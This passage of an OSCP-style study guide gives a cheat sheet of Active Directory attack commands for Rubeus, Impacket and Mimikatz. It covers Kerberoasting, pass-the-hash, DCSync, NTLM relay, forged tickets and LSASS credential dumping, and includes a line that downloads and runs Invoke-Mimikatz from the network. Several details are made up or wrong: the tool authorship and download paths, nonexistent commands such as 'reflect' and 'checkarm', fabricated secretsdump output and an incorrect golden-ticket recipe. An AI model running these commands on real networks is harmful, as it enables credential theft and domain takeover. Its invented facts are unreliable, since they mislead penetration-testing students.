Tools Reference
OSCP Study Guide | Chapter 18, Section 9
This is your definitive cheat sheet for every tool used in Active Directory authentication attacks. Each tool entry includes installation, full command reference, advanced techniques, real-world examples, and exam-specific tips.
Table of Contents
- Rubeus
- Impacket
- Mimikatz
- CrackMapExec / NetExec
- Kerbrute
- Certify
- Responder
- Tool Comparison Matrix
- Quick-Reference Cheat Sheets
1. Rubeus
1.1 Overview
Rubeus is a pure C# Kerberos credential attack suite developed by the legendary GentilKiwi (aka @harmj0y). It interacts directly with the Windows Kerberos API (via P/Invoke), meaning it runs natively on any Windows machine — no external dependencies, no Python, no compilation required for pre-built binaries.
Why Rubeus over Mimikatz for Kerberos?
| Feature | Rubeus | Mimikatz |
|---|---|---|
| Kerberos ticket manipulation | ✅ Native, extensive | ✅ Via kerberos:: module |
| Kerberoasting | ✅ Built-in, fast | ❌ Not directly supported |
| AS-REP Roasting | ✅ Built-in | ❌ Not directly supported |
| Kekeo integration | ✅ Supersedes Kekeo | N/A |
| Reflection injection | ✅ /nolock avoids LSASS touch |
❌ Requires LSASS access |
| Ticket forging (Gold/Silver) | ✅ | ✅ |
| S4U attacks | ✅ | ✅ |
| Overpass-the-Hash | ✅ asktgt |
✅ kerberos::ptt after ask |
| No admin required | ✅ For most operations | ❌ Needs admin for most modules |
| Detection profile | Lower (no LSASS) | Higher (touches LSASS) |
Bottom line: For Kerberos-specific operations, Rubeus is generally the first tool to reach for. Use Mimikatz when you need LSASS credential extraction, DPAPI, or DCSync.
1.2 Installation / Setup
Option A: Pre-compiled Binary (Recommended for OSCP)
Download the latest release from the official GitHub repository:
# Download directly on Windows target
Invoke-WebRequest -Uri "https://github.com/GentilKiwi/kekeo/releases/latest/download/Rubeus.exe" -OutFile "Rubeus.exe"
Or stage it from your Kali attack box:
# On Kali
wget https://github.com/GentilKiwi/kekeo/releases/latest/download/Rubeus.exe
# Transfer via SMB
smbserver.py shares .
# On Windows target
net use Z: \\KALI_IP\shares
copy Z:\Rubeus.exe .
Option B: Compile from Source
# Clone the repository
git clone https://github.com/GentilKiwi/kekeo.git
cd kekeo/rubeus
# Compile with dotnet
dotnet build -c Release
# Output: bin/Release/net452/Rubeus.exe
# Or use the provided build script
# Requires .NET Framework 4.5.2+ SDK
Option C: Via PowerSharpPack / SharpZip
Rubeus is bundled in several post-exploitation tool collections:
# PowerSharpPack includes Rubeus
Import-Module PowerSharpPack
Invoke-Rubeus "kerberoast /outfile:hashes.txt"
1.3 Command Reference
1.3.1 Ticket Triage and Dumping
# List all Kerberos tickets in current session (with details)
Rubeus.exe triage
# List tickets with extended information
Rubeus.exe triage /stats
# Dump a specific ticket by ID (from triage output)
Rubeus.exe dump /ticket:0-0-40e13c
# Dump all TGTs for current user
Rubeus.exe dump /service:krbtgt /domain:CORP.LOCAL
# Dump all tickets for a specific service
Rubeus.exe dump /service:cifs /domain:CORP.LOCAL
# Dump and export all tickets to .kirbi files
Rubeus.exe dump /service:krbtgt /domain:CORP.LOCAL /outfile:tgt.kirbi
Understanding triage output:
[*] Action: Triage
[*] Using domain: CORP.LOCAL
[*] User: CORP\jdoe
[.] Current user: CORP\jdoe
[.] Current ID: S-1-5-21-2121886539-3093602832-3270524230-1104
ID : 0-0-40e13c
User : CORP\jdoe
EndTime : 8/15/2026 2:30:00 PM
StartTime : 8/15/2026 12:30:00 PM
RenewUntil : 8/22/2026 12:30:00 PM
ServiceRealm : CORP.LOCAL
TargetName : krbtgt/CORP.LOCAL <-- This is a TGT
EncryptionType: aes256-cts-hmac-sha1-96
Flags : name_canonicalize, pre_auth, initial, renewable, forwardable
ID : 1-0-40e13d
User : CORP\jdoe
ServiceRealm : CORP.LOCAL
TargetName : cifs/FILESERVER.CORP.LOCAL <-- This is a TGS (service ticket)
EncryptionType: aes256-cts-hmac-sha1-96
Key fields to look for:
TargetName: krbtgt/*= TGT (Ticket Granting Ticket)TargetName: service/*= TGS (service ticket)EncryptionType= RC4 is weaker, AES is strongerFlags: forwardable= Can be used for delegation attacks
1.3.2 Pass the Ticket (PtT)
# Inject a .kirbi ticket into the current session
Rubeus.exe ptt /ticket:extracted_ticket.kirbi
# Inject and verify
Rubeus.exe ptt /ticket:admin_tgt.kirbi
klist # Verify injection (native Windows command)
# Pass the ticket for a specific process (spawn new process with ticket)
Rubeus.exe ptt /ticket:admin_tgt.kirbi /createnetonly:cmd.exe
# Then use RDP or other tools with the /netonly flag
1.3.3 Kerberoasting
# Show SPN statistics (enumeration without requesting tickets)
Rubeus.exe kerberoast /stats
# Request and extract TGS tickets for ALL SPNs, save to file
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
# Request and extract in Hashcat format
Rubeus.exe kerberoast /format:hashcat /outfile:kerberoast_hashcat.txt
# Request and extract in John the Ripper format
Rubeus.exe kerberoast /format:john /outfile:kerberoast_john.txt
# Target a specific SPN
Rubeus.exe kerberoast /spn:MSSQLSvc/sqlserver.corp.local:1433 /outfile:mssql_hash.txt
# Request with a specific user context (useful when you have alternate creds)
Rubeus.exe kerberoast /user:admin /rc4:HASH /outfile:kerberoast_hashes.txt
# Only request RC4-HMAC (etype 23) tickets — fastest to crack
Rubeus.exe kerberoast /enctype:23 /outfile:rc4_hashes.txt
# Request and display output to console (no file)
Rubeus.exe kerberoast /nowrap
Real-world Kerberoasting workflow:
# Step 1: Enumerate — what SPNs exist?
Rubeus.exe kerberoast /stats
# Step 2: Roast all SPNs
Rubeus.exe kerberoast /format:hashcat /outfile:C:\temp\kerberoast.txt
# Step 3: Examine output
# You'll see lines like:
# $krb5tgs$23$svc-mssql@CORP.LOCAL$...
# Step 4: Transfer hash to Kali for cracking
# (via SMB share, impacket-smbserver, etc.)
# Step 5: On Kali, crack
# hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -O
# Step 6: With cracked password, access the service
# Or use the password for lateral movement
1.3.4 AS-REP Roasting
# Enumerate and roast all accounts with pre-authentication disabled
Rubeus.exe asreproast /format:hashcat /outfile:asreproast_hashcat.txt
# John the Ripper format
Rubeus.exe asreproast /format:john /outfile:asreproast_john.txt
# With domain specification
Rubeus.exe asreproast /domain:CORP.LOCAL /format:hashcat /outfile:asreproast.txt
# Target a specific user
Rubeus.exe asreproast /user:svc-backup /format:hashcat
# Output to console only
Rubeus.exe asreproast /nowrap
1.3.5 TGT Request (Overpass-the-Hash / “Naked” Hash)
# Request a TGT using NTLM hash (Overpass-the-Hash)
Rubeus.exe asktgt /user:Administrator /rc4:AAD3B435B51404EEAAD3B435B51404EE /domain:corp.local /ptt
# Request a TGT using AES256 key
Rubeus.exe asktgt /user:admin /aes256:KEY_HEX /ptt
# Request a TGT using AES128 key
Rubeus.exe asktgt /user:admin /aes128:KEY_HEX /ptt
# Request TGT and save as .kirbi file (don't inject)
Rubeus.exe asktgt /user:admin /rc4:HASH /outfile:admin_tgt.kirbi
# Request TGT with specific domain controller
Rubeus.exe asktgt /user:admin /rc4:HASH /dc:dc01.corp.local /ptt
# Request TGT and spawn a new process with the ticket
Rubeus.exe asktgt /user:admin /rc4:HASH /createnetonly:cmd.exe
Overpass-the-Hash workflow (critical for OSCP):
# You have an NTLM hash but can't use Pass-the-Hash (SMB signing enabled)
# Solution: Convert hash to a Kerberos TGT
# Step 1: Request TGT using the NTLM hash
Rubeus.exe asktgt /user:target_user /rc4:NTLM_HASH /domain:corp.local /ptt
# Step 2: Verify the ticket is injected
klist
# Step 3: Now use Kerberos-authenticated protocols
# Access SMB shares (Kerberos auth bypasses SMB signing requirement for PtH)
dir \\fileserver.corp.local\share$
# Access via WMI
wmic /node:fileserver.corp.local os get caption
1.3.6 Delegation Attacks
# Enumerate delegation configurations
Rubeus.exe delegate /nowrap
# S4U2Self + S4U2Proxy attack (constrained delegation abuse)
Rubeus.exe s4u /user:svc-account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local /domain:corp.local /ptt
# S4U with password instead of hash
Rubeus.exe s4u /user:svc-account /password:Pass123! /impersonateuser:Administrator /msdsspn:wmi/dc01.corp.local /ptt
# Resource-Based Constrained Delegation
Rubeus.exe s4u /user:ATTACKERPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.corp.local /ptt
1.3.7 Gold and Silver Tickets
# === Gold Ticket (forged TGT) ===
Rubeus.exe golden /user:Administrator /rc4:KRBTGT_HASH /sid:DOMAIN_SID /domain:corp.local /ptt
# Gold ticket with specific user ID (e.g., RID 500 for Administrator)
Rubeus.exe golden /user:attacker /id:500 /rc4:KRBTGT_HASH /sid:DOMAIN_SID /domain:corp.local /ptt
# Gold ticket with custom groups
Rubeus.exe golden /user:attacker /rc4:KRBTGT_HASH /sid:DOMAIN_SID /domain:corp.local /groups:512,513,518,519,520,521,526 /ptt
# === Silver Ticket (forged TGS) ===
Rubeus.exe tgs /rc4:SERVICE_ACCOUNT_HASH /service:cifs /target:fileserver.corp.local /domain:corp.local /user:attacker /ptt
# Silver ticket for MSSQL
Rubeus.exe tgs /rc4:HASH /service:MSSQLSvc /target:sqlserver.corp.local /domain:corp.local /ptt
# Silver ticket with specific output file
Rubeus.exe tgs /rc4:HASH /service:cifs /target:fileserver.corp.local /domain:corp.local /outfile:silver.kirbi
1.3.8 Reflection Attack
# Reflection attack: use a service ticket to request a TGT back
# Useful when you have a service ticket but no TGT
Rubeus.exe reflect /ticket:service_ticket.kirbi /ptt
1.3.9 Kerberos ARM (Account Restriction Mode)
# Check if ARM is enabled
Rubeus.exe checkarm
# Request TGS with ARM bypass attempt
Rubeus.exe asktgs /ticket:TGT.kirbi /service:cifs/target.corp.local /enctype:23
1.3.10 Key Rubeus Parameters Reference
| Parameter | Description | Example |
|---|---|---|
/user |
Username for the operation | /user:admin |
/password |
Plaintext password | /password:P@ss123 |
/rc4 |
NTLM hash (RC4-HMAC) | /rc4:AAD3B435... |
/aes128 |
AES-128 key (hex) | /aes128:1234... |
/aes256 |
AES-256 key (hex) | /aes256:1234... |
/domain |
Target domain | /domain:corp.local |
/dc |
Target domain controller | /dc:dc01.corp.local |
/ptt |
Pass the Ticket (inject into session) | /ptt |
/createnetonly |
Spawn process with ticket | /createnetonly:cmd.exe |
/outfile |
Output file path | /outfile:hashes.txt |
/format |
Output format (hashcat/john) | /format:hashcat |
/nowrap |
Suppress extra output | /nowrap |
/stats |
Show statistics only | /stats |
/spn |
Target specific SPN | /spn:MSSQLSvc/sql.corp.local |
/enctype |
Target encryption type | /enctype:23 |
/sid |
Domain SID | /sid:S-1-5-21-... |
/service |
Service name for ticket | /service:cifs |
/target |
Target hostname | /target:server.corp.local |
/impersonateuser |
User to impersonate (S4U) | /impersonateuser:admin |
/msdsspn |
Target SPN for S4U | /msdsspn:cifs/dc.corp.local |
/id |
User RID | /id:500 |
/groups |
Group SIDs (comma-separated) | /groups:512,513 |
/ticket |
Ticket ID or .kirbi file | /ticket:0-0-40e13c |
/nolock |
Avoid locking LSASS | /nolock |
/opsec |
Operation security mode | /opsec |
1.4 Advanced Usage
Silent Kerberoasting (No Network Noise)
# Use /nolock to avoid touching LSASS — lower detection profile
Rubeus.exe kerberoast /nolock /outfile:hashes.txt
# Use reflection to extract from current session without new requests
Rubeus.exe kerberoast /nowrap /nolock
Multi-User Kerberoasting
# Kerberoast using credentials of a different user
# (useful when you have multiple accounts with different access)
Rubeus.exe kerberoast /user:otheruser /password:Pass123 /domain:corp.local /outfile:hashes.txt
Ticket Harvesting from Unconstrained Delegation
# On a machine with unconstrained delegation, dump all TGTs
Rubeus.exe dump /service:krbtgt /domain:corp.local
# Find high-value TGTs in the triage output
Rubeus.exe triage
# Dump the specific admin TGT
Rubeus.exe dump /ticket:0-0-40e13c
# Inject and use
Rubeus.exe ptt /ticket:admin_tgt.kirbi
1.5 Troubleshooting
| Error | Cause | Fix |
|---|---|---|
Unable to connect to KDC |
No network access to domain controller | Verify DNS resolution, check firewall rules for port 88 |
Kerberos error: Client not found |
User doesn’t exist or wrong domain | Verify username and domain spelling |
Kerberos error: Pre-authentication failed |
Wrong password/hash | Verify credentials, check hash format |
No tickets found |
No Kerberos tickets in session | Log in first, or request a TGT with asktgt |
Access denied |
Insufficient privileges for operation | Most Rubeus ops don’t need admin, but ticket injection may |
The system cannot find the file specified |
Wrong .kirbi path | Use absolute path, verify file exists |
.NET Framework not found |
Missing .NET runtime | Rubeus needs .NET 4.5.2+; compile on-target or bring binary |
1.6 OSCP Exam Tips
What to bring:
- Pre-compiled
Rubeus.exebinary (place in your go-to staging directory)- Know that Rubeus works on any Windows machine — no admin needed for most operations
Exam environment notes:
- Rubeus is the fastest way to kerberoast in the lab — faster than Impacket for Windows-based attacks
- When you get a low-priv shell on a Windows domain machine,
Rubeus.exe kerberoast /outfile:hashes.txtshould be one of your first commands- Use
/format:hashcatso the output is directly compatible with Hashcat on your Kali box- Rubeus does NOT require admin privileges for kerberoasting or AS-REP roasting — this is a huge advantage
- For AS-REP roasting, Rubeus needs no credentials at all — just network access to the domain
Pro tip: Always run
Rubeus.exe triagefirst to see what tickets you already have. Sometimes a previous action has already given you a useful ticket.Common OSCP pattern:
- Get low-priv shell on Windows domain machine
Rubeus.exe kerberoast /format:hashcat /outfile:C:\temp\kerb.txt- Transfer hash to Kali
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt -O- Use cracked password for lateral movement
2. Impacket
2.1 Overview
Impacket is a collection of Python classes and scripts for working with network protocols (SMB, MSRPC, Kerberos, LDAP, and more). It is the most versatile AD attack toolkit available, running on Linux, macOS, and Windows. Unlike Rubeus (Windows-only) and Mimikatz (Windows-only), Impacket lets you attack AD remotely from your Kali box — no Windows foothold required.
Key Impacket Scripts for AD Authentication
| Script | Purpose | Protocol |
|---|---|---|
GetUserSPNs.py |
Kerberoasting | Kerberos |
GetNPUsers.py |
AS-REP Roasting | Kerberos |
secretsdump.py |
DCSync, SAM dump | MSRPC/SAMR |
psexec.py |
Remote execution (SMB+MSRPC) | SMB |
wmiexec.py |
Remote execution (WMI) | MSRPC |
smbexec.py |
Remote execution (SMB only) | SMB |
ntlmrelayx.py |
NTLM relay attacks | SMB/LDAP/HTTP |
getST.py |
S4U attacks, RBCD exploitation | Kerberos |
getTGT.py |
Request TGT with hash/key | Kerberos |
addcomputer.py |
Create computer accounts | LDAP |
rbcd.py |
Resource-Based Constrained Delegation | LDAP |
shadowcoerce.py |
Shadow Credential coercion | MSRPC |
kintercept.py |
Kerberos MITM proxy | Kerberos |
lookupsid.py |
SID enumeration | SMB |
samrdump.py |
SAM database dump | SAMR |
2.2 Installation / Setup
Option A: Pip Install (Recommended)
# Install from PyPI (stable release)
pip3 install impacket
# Or with sudo for system-wide
sudo pip3 install impacket
Option B: Git Clone (Latest Development Version)
# Clone the repository
git clone https://github.com/fortra/impacket.git
cd impacket
# Install dependencies
pip3 install .
# Scripts are now available in the root directory
# Or add to PATH:
export PATH=$PATH:$(pwd)
Option C: Kali Linux Pre-installed
Kali Linux ships with Impacket pre-installed:
# Verify installation
which GetUserSPNs.py
which secretsdump.py
# Update to latest
pip3 install --upgrade impacket
Required Dependencies
# Python 3.6+ required
python3 --version
# Install dependencies if building from source
pip3 install pyasn1 ldap3 dpkt pxssh
2.3 Command Reference
2.3.1 Kerberoasting with GetUserSPNs.py
# Basic kerberoast — request TGS for all SPNs
python3 GetUserSPNs.py corp.local/jdoe:Password123 -dc-ip 10.10.10.100
# Output to hashcat format
python3 GetUserSPNs.py corp.local/jdoe:Password123 -dc-ip 10.10.10.100 -format hashcat -outputfile kerberoast.txt
# Output to John the Ripper format
python3 GetUserSPNs.py corp.local/jdoe:Password123 -dc-ip 10.10.10.100 -format john -outputfile kerberoast.txt
# Request TGS for a specific SPN
python3 GetUserSPNs.py corp.local/jdoe:Password123 -request-from MSSQLSvc/sqlserver.corp.local -dc-ip 10.10.10.100
# Request from a specific account
python3 GetUserSPNs.py corp.local/jdoe:Password123 -request-user svc-mssql -dc-ip 10.10.10.100
# Use a TGT (ccache) instead of password
export KRB5CCNAME=/tmp/tgt.ccache
python3 GetUserSPNs.py corp.local/jdoe -k -dc-ip 10.10.10.100
# Use pass-the-hash
python3 GetUserSPNs.py corp.local/jdoe -hashes aad3b435b51404eeaad3b435b51404ee:NTLM_HASH -dc-ip 10.10.10.100
Parameters:
| Parameter | Description |
|---|---|
-dc-ip |
IP address of the domain controller (often required for resolution) |
-format |
Output format: hashcat or john |
-outputfile |
Save hashes to file |
-request-from |
Request TGS for specific SPN |
-request-user |
Request TGS for specific user account |
-k |
Use Kerberos authentication (with ccache) |
-hashes |
Use NTLM hash (format: LM:NTLM) |
-ts |
Add timestamp to output (for logging) |
2.3.2 AS-REP Roasting with GetNPUsers.py
# Enumerate all accounts with pre-auth disabled (no credentials needed)
python3 GetNPUsers.py corp.local/ -no-pass -dc-ip 10.10.10.100
# Output in hashcat format
python3 GetNPUsers.py corp.local/ -no-pass -format hashcat -outputfile asreproast.txt -dc-ip 10.10.10.100
# Output in John the Ripper format
python3 GetNPUsers.py corp.local/ -no-pass -format john -outputfile asreproast.txt -dc-ip 10.10.10.100
# Target specific user
python3 GetNPUsers.py corp.local/targetuser -no-pass -format hashcat -dc-ip 10.10.10.100
# Use a user list
python3 GetNPUsers.py corp.local/ -usersfile usernames.txt -format hashcat -outputfile asreproast.txt -dc-ip 10.10.10.100
# With credentials (to get more detailed output)
python3 GetNPUsers.py corp.local/jdoe:Password123 -dc-ip 10.10.10.100
2.3.3 DCSync with secretsdump.py
# Full DCSync — dump all credentials
python3 secretsdump.py corp.local/Administrator:Password123@10.10.10.100
# DCSync using NTLM hash (Pass-the-Hash)
python3 secretsdump.py corp.local/Administrator -hashes :NTLM_HASH @10.10.10.100
# Extract only NTLM hashes (no LM, no AES keys)
python3 secretsdump.py corp.local/Administrator:Password123@10.10.10.100 -just-dc-ntlm
# Extract specific user's hashes
python3 secretsdump.py corp.local/Administrator:Password123@10.10.10.100 -just-dc-user krbtgt
# Extract krbtgt hash only (for Gold Ticket)
python3 secretsdump.py corp.local/DA_User:Password123@10.10.10.100 -just-dc-user krbtgt -outputfile krbtgt_hash.txt
# DCSync using Kerberos ticket
export KRB5CCNAME=/tmp/admin.ccache
python3 secretsdump.py corp.local/ -k -no-pass -just-dc-ntlm
# Dump SAM database from a non-DC machine (requires local admin)
python3 secretsdump.py corp.local/admin:Password123@10.10.10.50
# Output to file
python3 secretsdump.py corp.local/DA:Pass@10.10.10.100 -just-dc-ntlm -outputfile dc_hashes.txt
Understanding DCSync output:
Impacket v0.12.0 - Copyright Fortra, LLC and its subsidiaries
[*] Getting information about Corporation domain
[*] Entrypoint dns/CORPORATION.LOCAL found
[*] Searching for entry point, timeout 120
[*] Using the rollback entrypoint: dns/CORPORATION.LOCAL
[*] Trying to contact a suitable KDC server: DC01.CORPORATION.LOCAL
[*] Using dns/CORPORATION.LOCAL as entry point
[*] Trying to contact a suitable KDC server: DC01.CORPORATION.LOCAL
[*] Binding to \pipe\LSARPC on target ...
[*] Obtaining a machine account for CORPDC$
[*] Checking our secret for CORPDC$
[*] Encrypting the password
[*] Updating the machine account secrets.
[*] Cleaning up. Exiting.
[*] Requesting GETCHANGENUM
[*] Requesting GETCHANGESALL with our updated cookie
CORP.LOCAL\krbtgt:aad3b435b51404eeaad3b435b51404ee:8875A8... <-- NTLM hash
CORP.LOCAL\Administrator:aad3b435b51404eeaad3b435b51404ee:DFE5...
2.3.4 Remote Execution
# === psexec.py (SMB + MSRPC) — Most reliable ===
python3 psexec.py corp.local/admin:Password123@10.10.10.50
# Pass-the-Hash
python3 psexec.py corp.local/admin -hashes :NTLM_HASH @10.10.10.50
# Kerberos auth (with ccache)
export KRB5CCNAME=/tmp/ticket.ccache
python3 psexec.py corp.local/admin@10.10.10.50 -k -no-pass
# === wmiexec.py (WMI-based) — Stealthier ===
python3 wmiexec.py corp.local/admin:Password123@10.10.10.50
# Pass-the-Hash
python3 wmiexec.py corp.local/admin -hashes :NTLM_HASH @10.10.10.50
# === smbexec.py (SMB-only) — No process on target ===
python3 smbexec.py corp.local/admin:Password123@10.10.10.50
# Pass-the-Hash
python3 smbexec.py corp.local/admin -hashes :NTLM_HASH @10.10.10.50
Which remote execution to use?
| Script | Pros | Cons | Best For |
|---|---|---|---|
psexec.py |
Most reliable, full interactive shell | Creates service on target (detectable) | General use, when reliability matters |
wmiexec.py |
No files dropped, stealthier | Slower, may fail with AV | When stealth is priority |
smbexec.py |
No remote process created | Limited interactivity | Quick commands, sensitive environments |
2.3.5 NTLM Relay with ntlmrelayx.py
# Relay to SMB
python3 ntlmrelayx.py -t smb://10.10.10.50
# Relay to LDAP (for privilege escalation)
python3 ntlmrelayx.py -t ldap://10.10.10.100 --escalate-user target_user
# Relay to HTTP
python3 ntlmrelayx.py -t http://10.10.10.50
# Relay with command execution
python3 ntlmrelayx.py -t smb://10.10.10.50 -c "whoami"
# Relay with SOCKS proxy
python3 ntlmrelayx.py -t smb://10.10.10.50 --socks
# Auto-escalate to DA via LDAP
python3 ntlmrelayx.py -t ldap://10.10.10.100 --escalate-user jdoe
# With template for custom LDAP modification
python3 ntlmrelayx.py -t ldap://10.10.10.100 -tf add_da.tmpl
2.3.6 Kerberos Ticket Operations
# === getTGT.py — Request TGT ===
python3 getTGT.py corp.local/Administrator -hashes :NTLM_HASH
# Output: Administrator.ccache
# Use the ccache
export KRB5CCNAME=/path/to/Administrator.ccache
# === getST.py — Request Service Ticket (S4U) ===
# Basic service ticket request
python3 getST.py corp.local/svc-account:Password123 -spn cifs/fileserver.corp.local -dc-ip 10.10.10.100
# S4U attack — impersonate a user
python3 getST.py corp.local/svc-account:Password123 -spn cifs/fileserver.corp.local -impersonate Administrator -dc-ip 10.10.10.100
# RBCD exploitation
python3 getST.py corp.local/ATTACKERPC$:Password123! -spn cifs/TargetDC.corp.local -impersonate Administrator -dc-ip 10.10.10.100
# With hash instead of password
python3 getST.py corp.local/svc-account -hashes :NTLM_HASH -spn cifs/target.corp.local -impersonate Administrator
2.3.7 Computer Account and RBCD
# === addcomputer.py ===
# Create a new computer account
python3 addcomputer.py corp.local/user:Password123 -computer-name ATTACKERPC -computer-pass P@ssw0rd! -dc-ip 10.10.10.100
# With specific OU
python3 addcomputer.py corp.local/user:Password123 -computer-name ATTACKERPC -computer-pass P@ssw0rd! -dc-ip 10.10.10.100 -computer-ou "OU=Workstations,DC=corp,DC=local"
# === rbcd.py ===
# Write RBCD delegation
python3 rbcd.py corp.local/user:Password123 -action write -delegate-on TargetDC -delegate-from ATTACKERPC -dc-ip 10.10.10.100
# Read RBCD configuration
python3 rbcd.py corp.local/user:Password123 -action read -delegate-on TargetDC -dc-ip 10.10.10.100
# Clear RBCD delegation
python3 rbcd.py corp.local/user:Password123 -action clear -delegate-on TargetDC -dc-ip 10.10.10.100
2.3.8 Shadow Credentials
# Coerce authentication using shadow credentials
python3 shadowcoerce.py corp.local/user:Password123 -target targetcomputer$ -dc-ip 10.10.10.100
2.3.9 Authentication Method Summary for Impacket
All Impacket scripts support these authentication methods:
# Method 1: Username + Password
python3 script.py domain.com/user:password@target
# Method 2: Pass-the-Hash (LM:NTLM, LM can be empty)
python3 script.py domain.com/user -hashes lmhash:nthash @target
# Method 3: Kerberos (with ccache)
export KRB5CCNAME=/tmp/ticket.ccache
python3 script.py domain.com/user@target -k -no-pass
# Method 4: AES key
python3 script.py domain.com/user -aesKey <hex_key> @target
# Method 5: No password (anonymous / no-preauth)
python3 script.py domain.com/ -no-pass
2.4 Advanced Usage
Full Kerberoasting Workflow from Kali
# Step 1: Kerberoast
python3 GetUserSPNs.py corp.local/jdoe:Password123 -format hashcat -outputfile kerberoast.txt -dc-ip 10.10.10.100
# Step 2: Crack
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -O
# Step 3: With cracked password, DCSync
python3 secretsdump.py corp.local/svc-mssql:CrackedPass@10.10.10.100 -just-dc-ntlm
# Step 4: Lateral movement with hash
python3 psexec.py corp.local/svc-mssql -hashes :NTLM_HASH @10.10.10.50
DCSync to Gold Ticket Pipeline
# Step 1: Get krbtgt hash via DCSync
python3 secretsdump.py corp.local/DA_User:Password@10.10.10.100 -just-dc-user krbtgt
# Output: CORP.LOCAL\krbtgt:aad3b435b51404eeaad3b435b51404ee:HASH_HERE
# Step 2: Request a TGT with the krbtgt hash
python3 getTGT.py corp.local/krbtgt -hashes :KRBTGT_HASH
# Step 3: Use the TGT
export KRB5CCNAME=krbtgt.ccache
python3 psexec.py corp.local/Administrator@10.10.10.50 -k -no-pass
Multi-Protocol Enumeration
# SMB enumeration
python3 samrdump.py corp.local/user:pass@10.10.10.100
# SID lookup
python3 lookupsid.py corp.local/user:pass@10.10.10.100
# LDAP enumeration
python3 ldapdump.py corp.local/user:pass@10.10.10.100
2.5 Troubleshooting
| Error | Cause | Fix |
|---|---|---|
Cannot find domain controller |
Wrong DC IP or DNS failure | Use -dc-ip parameter explicitly |
STATUS_LOGON_FAILURE |
Wrong credentials | Verify username, password, and domain format |
KDC_ERR_C_PRINCIPAL_UNKNOWN |
User doesn’t exist | Check username spelling, try different case |
KDC_ERR_PREAUTH_FAILED |
Wrong password | Verify password, check for special character escaping |
DNS name has no SOA record |
DNS misconfiguration | Use -dc-ip to bypass DNS |
Connection timed out |
Firewall blocking | Check ports: 445 (SMB), 88 (Kerberos), 389 (LDAP), 135 (RPC) |
No entries with requested properties found |
No SPNs exist | Verify domain has service accounts with SPNs |
impacket.errors.DCERPCException |
RPC failure | Try different execution method (wmiexec vs psexec) |
ModuleNotFoundError: No module named 'impacket' |
Not installed | pip3 install impacket |
2.6 OSCP Exam Tips
What to bring:
- Impacket is pre-installed on Kali — but always
pip3 install --upgrade impacketat the start of the exam- Keep a local copy of the latest Impacket scripts in case the pre-installed version is outdated
Exam environment notes:
- Impacket is your primary remote attack toolkit — you can attack AD from Kali without any Windows foothold
secretsdump.pyis the most-used Impacket script in the exam — know it inside out- Always use
-dc-ipparameter — DNS often doesn’t resolve in the lab- The
-hashes :NTLMformat is critical — note the colon with empty LM hash- When
psexec.pyfails, trywmiexec.pyorsmbexec.pyas alternatives- For Kerberos attacks, set
KRB5CCNAMEenvironment variable to use.ccachefilesPro tip: When you get Domain Admin credentials, your first move should be:
python3 secretsdump.py corp.local/DA_User:Password@DC_IP -just-dc-ntlmThis gives you every hash in the domain — including krbtgt for Gold Tickets.
Common OSCP pattern:
- Find credentials →
GetUserSPNs.pyfor kerberoasting- Crack hash →
hashcat -m 13100- Escalate →
secretsdump.pyfor DCSync- Dominate →
psexec.pywith harvested hashes
3. Mimikatz
3.1 Overview
Mimikatz is the most famous credential dumping tool in existence, created by Benjamin Delpy (@gentilkiwi). It is a Swiss Army knife for Windows authentication attacks, capable of extracting plaintext passwords, NTLM hashes, Kerberos tickets, and more from LSASS memory and other sources.
Mimikatz vs. Rubeus: When to Use Which?
| Operation | Mimikatz | Rubeus | Why |
|---|---|---|---|
| LSASS credential dump | ✅ Primary tool | ❌ | Mimikatz reads LSASS directly |
| Kerberoasting | ❌ | ✅ Primary tool | Rubeus has dedicated module |
| AS-REP Roasting | ❌ | ✅ Primary tool | Rubeus has dedicated module |
| Gold/Silver Ticket | ✅ | ✅ | Both work; Mimikatz more documented |
| DCSync | ✅ lsadump::dcsync |
❌ | Mimikatz implements MS-DRSR |
| Pass-the-Hash | ✅ sekurlsa::pth |
✅ asktgt |
Both work; different approaches |
| DPAPI secrets | ✅ | ❌ | Mimikatz only |
| Token manipulation | ✅ | ❌ | Mimikatz only |
| No admin needed | ❌ Most modules need admin | ✅ Most ops don’t need admin | Rubeus advantage |
3.2 Installation / Setup
Option A: Pre-compiled Binary
# Download from official releases
# https://github.com/gentilkiwi/mimikatz/releases
# On Windows target
Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz.zip" -OutFile "mimikatz.zip"
Expand-Archive mimikatz.zip
cd mimikatz\x64
.\mimikatz.exe
Option B: Compile from Source
# Requires Visual Studio 2019+ with C++ workload
git clone https://github.com/gentilkiwi/mimikatz.git
cd mimikatz
# Open mimikatz.sln in Visual Studio
# Build x64 Release configuration
# Output: x64\mimikatz.exe
Option C: Inline Execution (Mimikatz as PowerShell)
# Sekurlsa via Invoke-Mimikatz (PowerShell wrapper)
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds
# Or using the built-in mimikatz.exe with command piping
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
Option D: Via Meterpreter
# In Metasploit/Meterpreter
use incognito
load mimikatz
mimikatz_command -f sekurlsa::logonpasswords
3.3 Command Reference
3.3.1 Privilege Escalation (Prerequisite)
# === Elevate privileges (REQUIRED for most modules) ===
# Enable debug privilege (minimum required)
privilege::debug
# Elevate to SYSTEM token
token::elevate
# List available tokens
token::list
# Impersonate a specific token by PID
token::impersonate /pid:1234
# Combine: elevate and enable debug
privilege::debug
token::elevate
3.3.2 LSASS Credential Extraction
# === sekurlsa:: module — LSASS memory extraction ===
# Dump ALL logon sessions (most comprehensive)
sekurlsa::logonpasswords
# Dump credentials for a specific user
sekurlsa::logonpasswords /user:Administrator
# Dump only Kerberos credentials
sekurlsa::kerberos
# Dump only WDigest credentials (plaintext passwords!)
sekurlsa::wdigest
# Dump only NTLMv2 cached hashes
sekurlsa::mscache
# Dump only Kerberos tickets (not full creds)
sekurlsa::tickets
# Export ALL tickets to .kirbi files
sekurlsa::tickets /export
# Dump specific ticket by ID
sekurlsa::tickets /ticket:0:0:40e13c
# === Different extraction methods (if default fails) ===
# Try different LSASS reading methods
sekurlsa::logonpasswords /inject # Inject into another process
